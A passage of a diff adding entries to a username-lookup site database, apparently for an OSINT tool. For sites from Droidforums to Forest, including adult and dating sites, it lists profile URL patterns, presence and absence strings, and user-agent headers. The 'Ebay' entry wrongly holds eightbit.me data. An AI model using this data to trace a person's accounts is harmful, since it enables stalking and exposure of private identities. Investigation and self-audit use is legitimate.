"noonewouldeverusethis7" + }, + "Droidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 77738, + "urlMain": "http://www.droidforums.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Droners": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 150041, + "urlMain": "https://droners.io", + "url": "https://droners.io/accounts/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dublikat": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "urlMain": "https://www.dublikat.shop", + "url": "https://my.dublikat.pro/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Dumpz": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 2204947, + "urlMain": "https://dumpz.ws", + "usernameClaimed": "emailx45", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duno": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "this user does not exist" + ], + "alexaRank": 570063, + "urlMain": "https://www.duno.com/", + "url": "https://www.duno.com/profile.php?pl={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duolingo": { + "tags": [ + "us" + ], + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "{\"users\":[]}" + ], + "alexaRank": 578, + "urlMain": "https://duolingo.com/", + "url": "https://www.duolingo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "E621": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + " Not Found" + ], + "presenseStrs": [ + "<title> User" + ], + "alexaRank": 22598, + "urlMain": "https://e621.net", + "url": "https://e621.net/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ESET": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 24492, + "urlMain": "https://forum.esetnod32.ru", + "url": "https://forum.esetnod32.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EasyEDA": { + "tags": [ + "de", + "in", + "mx", + "us" + ], + "checkType": "status_code", + "alexaRank": 33098, + "urlMain": "https://easyeda.com", + "url": "https://easyeda.com/{username}/topics", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ebay": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "<title>Security Measure": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "Positive feedback" + ], + "absenceStrs": [ + "EightBit: 404 Error" + ], + "urlMain": "http://eightbit.me/", + "url": "http://eightbit.me/{username}", + "usernameClaimed": "Jerrymej", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 301125 + }, + "Elakiri": { + "tags": [ + "lk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 31670, + "urlMain": "https://elakiri.com", + "url": "https://elakiri.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elftown": { + "checkType": "message", + "absenceStrs": [ + "is an unknown" + ], + "presenseStrs": [ + "created:" + ], + "url": "http://elftown.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elixirforum": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "alexaRank": 107170, + "urlMain": "https://elixirforum.com", + "usernameClaimed": "clmay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ello": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "We couldn't find the page you're looking for" + ], + "alexaRank": 15390, + "urlMain": "https://ello.co/", + "url": "https://ello.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Elwo": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 452717, + "urlMain": "https://elwo.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empflix": { + "tags": [ + "de", + "fr", + "porn" + ], + "checkType": "response_url", + "alexaRank": 12547, + "urlMain": "https://www.empflix.com", + "url": "https://www.empflix.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empowher": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 88180, + "urlMain": "https://www.empowher.com", + "url": "https://www.empowher.com/users/{username}", + "usernameClaimed": "susanc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Engadget": { + "checkType": "message", + "absenceStrs": [ + ", -" + ], + "presenseStrs": [ + "- Engadget" + ], + "url": "https://www.engadget.com/about/editors/{username}/", + "usernameClaimed": "kris-holt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Enot-poloskun": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "urlMain": "https://enot-poloskun.ru/", + "url": "https://enot-poloskun.ru/member.php?username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5687119 + }, + "Envato": { + "tags": [ + "au", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 631, + "urlMain": "https://forums.envato.com", + "usernameClaimed": "zigro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eporner": { + "tags": [ + "es", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Profile not found." + ], + "presenseStrs": [ + "Dashboard" + ], + "alexaRank": 2243, + "url": "https://www.eporner.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erboh": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 2045745, + "urlMain": "https://erboh.com/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erogen.club": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 685261, + "urlMain": "https://erogen.club", + "usernameClaimed": "yanok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Esate": { + "tags": [ + "ru" + ], + "checkType": "message", + "alexaRank": 1077202, + "urlMain": "http://esate.ru", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "\u0411\u043b\u043e\u0433 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "url": "http://esate.ru/blogs/{username}/", + "usernameClaimed": "Flashhell", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethereum-magicians": { + "tags": [ + "cr", + "forum" + ], + "engine": "Discourse", + "alexaRank": 457231, + "urlMain": "https://ethereum-magicians.org", + "usernameClaimed": "amxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EthicalHacker": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-loop-form" + ], + "alexaRank": 49571, + "urlMain": "https://www.ethicalhacker.net", + "url": "https://www.ethicalhacker.net/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethresear": { + "tags": [ + "ch", + "cr", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 163214, + "urlMain": "https://ethresear.ch", + "usernameClaimed": "weijiekoh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etsy": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "Sanctions Policy": "Site censorship", + "\u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0430\u043d\u043a\u0446\u0438\u0439": "Site censorship" + }, + "checkType": "status_code", + "alexaRank": 81, + "urlMain": "https://www.etsy.com/", + "url": "https://www.etsy.com/shop/{username}", + "usernameClaimed": "JennyKrafts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etxt": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18159, + "urlMain": "https://www.etxt.ru", + "url": "https://www.etxt.ru/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EuroFootball": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 19964, + "urlMain": "https://www.euro-football.ru", + "url": "https://www.euro-football.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eurogamer": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3034, + "urlMain": "https://www.eurogamer.net", + "url": "https://www.eurogamer.net/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eva": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0430\u0441\u043f\u043e\u0440\u0442 - - \u0415\u0432\u0430.\u0420\u0443" + ], + "alexaRank": 22335, + "urlMain": "https://eva.ru/", + "url": "https://eva.ru/passport/{username}/profile.htm", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EyeEm": { + "tags": [ + "in", + "it", + "photo", + "sd" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found (404) | EyeEm" + ], + "alexaRank": 42846, + "urlMain": "https://www.eyeem.com/", + "url": "https://www.eyeem.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EzoterikaConversion": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6020701, + "urlMain": "http://ezoterikaconversion.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F-droid": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 76469, + "urlMain": "https://forum.f-droid.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Figma": { + "checkType": "message", + "headers": { + "User-Agent": "curl/8.6.0" + }, + "presenceStrs": [ + "twitter:title" + ], + "absenceStrs": [ + "Figma" + ], + "url": "https://www.figma.com/@{username}", + "urlMain": "https://www.figma.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 240, + "tags": [ + "design" + ] + }, + "8tracks.com": { + "checkType": "message", + "presenseStrs": [ + "Following" + ], + "absenceStrs": [ + "This page has vanished, or perhaps it never even existed..." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://8tracks.com/{username}" + }, + "www.adultism.com": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "Not Found" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.adultism.com/profile/{username}" + }, + "architizer.com": { + "checkType": "message", + "presenseStrs": [ + "Projects" + ], + "absenceStrs": [ + "We can't seem to find the page you're looking for." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://architizer.com/users/{username}" + }, + "artfol.me": { + "checkType": "message", + "presenseStrs": [ + "About" + ], + "absenceStrs": [ + "This user does not exist" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://artfol.me/{username}" + }, + "asquero.com": { + "checkType": "message", + "presenseStrs": [ + "Tutorials" + ], + "absenceStrs": [ + "Find The Best Learning Resources" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://asquero.com/user/dashboard/{username}" + }, + "Byond": { + "absenceStrs": [ + "Announcements about BYOND's software and website." + ], + "presenseStrs": [ + "Shoutbox" + ], + "checkType": "message", + "url": "https://www.byond.com/members/{username}" + }, + "F3.cool": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 209015, + "urlMain": "https://f3.cool/", + "url": "https://f3.cool/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F6S": { + "tags": [ + "in" + ], + "errors": { + "custom-page-main-frontpage-captcha": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Nothing to see here - 404" + ], + "presenseStrs": [ + "profile-heading" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 8897, + "urlMain": "https://f6s.com/", + "url": "https://www.f6s.com/{username}", + "usernameClaimed": "vidheeshnacode", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fabswingers": { + "checkType": "message", + "absenceStrs": [ + "The user you tried to view doesn't seem to be on the site any more" + ], + "presenseStrs": [ + "View Profile" + ], + "url": "https://www.fabswingers.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faktopedia": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza fakty od:" + ], + "url": "https://faktopedia.pl/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fancentro": { + "checkType": "message", + "presenseStrs": [ + "FanCentro" + ], + "absenceStrs": [ + "Sorry, this page isn't available" + ], + "errors": { + "https://fancentro.com/nowar": "Site censorship" + }, + "url": "https://fancentro.com/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fansly": { + "checkType": "message", + "presenseStrs": [ + "username" + ], + "absenceStrs": [ + "response: []" + ], + "url": "https://apiv2.fansly.com/api/v1/account?usernames={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FCRubin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8004914, + "urlMain": "https://www.fcrubin.ru", + "usernameClaimed": "flet", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fedi.lewactwo.pl": { + "checkType": "message", + "presenseStrs": [ + "@lewactwo.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fedi.lewactwo.pl/@{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "FIFA FORUMS": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 72093, + "urlMain": "https://fifaforums.easports.com/", + "url": "https://fifaforums.easports.com/en/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumprawne.org": { + "checkType": "status_code", + "url": "https://forumprawne.org/members/{username}.html", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fosstodon": { + "checkType": "message", + "presenseStrs": [ + "@fosstodon.org" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fosstodon.org/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotka": { + "checkType": "message", + "presenseStrs": [ + "profil" + ], + "absenceStrs": [ + "ERROR" + ], + "url": "https://api.fotka.com/v2/user/dataStatic?login={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Friendfinder": { + "checkType": "message", + "presenseStrs": [ + "friendfinder.com/profile/" + ], + "absenceStrs": [ + "friendfinder.com/p/register.cgi" + ], + "url": "https://friendfinder.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Friendfinder-x": { + "checkType": "message", + "presenseStrs": [ + "s Dating Profile on FriendFinder-x" + ], + "absenceStrs": [ + "friendfinder-x.com/p/register.cgi" + ], + "url": "https://www.friendfinder-x.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Furaffinity": { + "checkType": "message", + "presenseStrs": [ + "Userpage of" + ], + "absenceStrs": [ + "user cannot be found" + ], + "url": "https://www.furaffinity.net/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis9" + }, + "FUTBIN": { + "disabled": true, + "tags": [ + "de", + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 1735, + "urlMain": "https://forums.futbin.com", + "url": "https://forums.futbin.com/profile/{username}", + "usernameClaimed": "YuvalDu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Facebook": { + "regexCheck": "^[a-zA-Z0-9_\\.]{3,49}(?<!\\.com|\\.org|\\.net)$", + "checkType": "message", + "absenceStrs": [ + "rsrcTags" + ], + "presenseStrs": [ + "first_name" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" + }, + "alexaRank": 10, + "urlMain": "https://www.facebook.com/", + "url": "https://www.facebook.com/{username}", + "usernameClaimed": "zuck", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "Facenama": { + "disabled": true, + "tags": [ + "ir" + ], + "checkType": "response_url", + "alexaRank": 21122, + "urlMain": "https://facenama.com/", + "url": "https://facenama.com/{username}", + "errorUrl": "https://facenama.com/404.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77" + }, + "FacultyOfMedicine": { + "tags": [ + "eg", + "forum" + ], + "engine": "XenForo", + "alexaRank": 288545, + "urlMain": "https://forum.facmedicine.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fameswap": { + "checkType": "status_code", + "url": "https://fameswap.com/user/{username}", + "usernameClaimed": "fameswap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fandom": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://www.fandom.com/", + "url": "https://www.fandom.com/u/{username}", + "usernameClaimed": "Jungypoo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FandomCommunityCentral": { + "tags": [ + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://community.fandom.com", + "url": "https://community.fandom.com/wiki/User:{username}", + "usernameClaimed": "Red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanlore": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 310080, + "urlMain": "http://fanlore.org", + "url": "http://fanlore.org/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanpop": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 18642, + "urlMain": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faqusha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 351049, + "urlMain": "https://faqusha.ru", + "url": "https://faqusha.ru/profile/{username}/", + "usernameClaimed": "typhoon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fark": { + "tags": [ + "forum", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Tastes like chicken." + ], + "alexaRank": 7621, + "urlMain": "https://www.fark.com/", + "url": "https://www.fark.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fatsecret": { + "tags": [ + "au", + "us" + ], + "checkType": "response_url", + "alexaRank": 26070, + "urlMain": "https://www.fatsecret.com", + "url": "https://www.fatsecret.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Favera": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1225740, + "urlMain": "https://favera.ru", + "url": "https://favera.ru/{username}", + "usernameClaimed": "mayhem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fcdin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 159130, + "urlMain": "http://fcdin.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fclmnews": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 165498, + "urlMain": "https://fclmnews.ru", + "url": "https://fclmnews.ru/user/{username}", + "usernameClaimed": "stoker82", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fegatch": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://www.fegatch.com/", + "url": "http://www.fegatch.com/users/{username}/artworks/", + "usernameClaimed": "margaret-veret", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwad": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 261654, + "urlMain": "https://ficwad.com/", + "url": "https://ficwad.com/a/{username}/favorites/authors", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwriter": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\ufeff\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043b\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "alexaRank": 2421733, + "urlMain": "https://ficwriter.info", + "url": "https://ficwriter.info/polzovateli/userprofile/{username}.html", + "usernameClaimed": "Zinaida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fifasoccer": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 2241715, + "urlMain": "http://fifasoccer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FilmWeb": { + "tags": [ + "movies", + "pl" + ], + "checkType": "message", + "absenceStrs": [ + "top.location.href = '/404';" + ], + "alexaRank": 4157, + "urlMain": "https://www.filmweb.pl/user/adam", + "url": "https://www.filmweb.pl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmogs": { + "disabled": true, + "tags": [ + "movies" + ], + "checkType": "status_code", + "urlMain": "https://www.filmo.gs/", + "url": "https://www.filmo.gs/users/{username}", + "usernameClaimed": "cupparober", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmow": { + "tags": [ + "br", + "pt" + ], + "checkType": "status_code", + "alexaRank": 41121, + "urlMain": "https://filmow.com/", + "url": "https://filmow.com/usuario/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmwatch": { + "tags": [ + "ca", + "in", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 212729, + "urlMain": "https://filmwatch.com", + "url": "https://filmwatch.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finanzfrage": { + "checkType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{username}", + "usernameClaimed": "finanzfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finforum": { + "tags": [ + "forum", + "ru", + "us", + "vn" + ], + "engine": "XenForo", + "alexaRank": 327592, + "urlMain": "https://finforum.net", + "usernameClaimed": "tropical", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Firearmstalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 526339, + "urlMain": "https://www.firearmstalk.com", + "url": "https://www.firearmstalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fireworktv": { + "tags": [ + "in", + "jp" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Firework" + ], + "alexaRank": 132082, + "urlMain": "https://fireworktv.com", + "url": "https://fireworktv.com/ch/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fishingsib": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 67134, + "urlMain": "https://www.fishingsib.ru/", + "url": "https://www.fishingsib.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fiverr": { + "tags": [ + "shopping", + "us" + ], + "checkType": "response_url", + "alexaRank": 153, + "urlMain": "https://www.fiverr.com/", + "url": "https://www.fiverr.com/{username}", + "errorUrl": "https://www.fiverr.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Flashflashrevolution": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 78934, + "urlMain": "http://www.flashflashrevolution.com", + "url": "http://www.flashflashrevolution.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flbord": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1936025, + "urlMain": "https://flbord.com", + "url": "https://flbord.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flickr": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 569, + "urlMain": "https://www.flickr.com/", + "url": "https://www.flickr.com/photos/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flightradar24": { + "tags": [ + "de", + "es", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "checkType": "status_code", + "alexaRank": 2517, + "urlMain": "https://www.flightradar24.com/", + "url": "https://my.flightradar24.com/{username}", + "usernameClaimed": "jebbrooks", + "usernameUnclaimed": "xgtrq" + }, + "Flipboard": { + "tags": [ + "in", + "tech" + ], + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "checkType": "status_code", + "alexaRank": 5142, + "urlMain": "https://flipboard.com/", + "url": "https://flipboard.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Fluther": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 130955, + "urlMain": "https://www.fluther.com/", + "url": "https://www.fluther.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flyertalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 26402, + "urlMain": "https://www.flyertalk.com", + "url": "https://www.flyertalk.com/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fm-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 1027372, + "urlMain": "https://fm-forum.ru", + "url": "https://fm-forum.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fodors": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 18322, + "urlMain": "https://www.fodors.com", + "url": "https://www.fodors.com/community/profile/{username}/forum-activity", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Folkd": { + "disabled": true, + "tags": [ + "eu", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "", + "Folkd | Home" + ], + "alexaRank": 14019, + "urlMain": "http://www.folkd.com/profile/", + "url": "http://www.folkd.com/profile/{username}", + "usernameClaimed": "staffingservice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Football": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29781, + "urlMain": "https://www.rusfootball.info/", + "url": "https://www.rusfootball.info/user/{username}/", + "usernameClaimed": "solo87", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Footballforums": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 1793267, + "urlMain": "http://www.footballforums.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Forest": { + "tags": [ + "ru" + ], + "checkType": 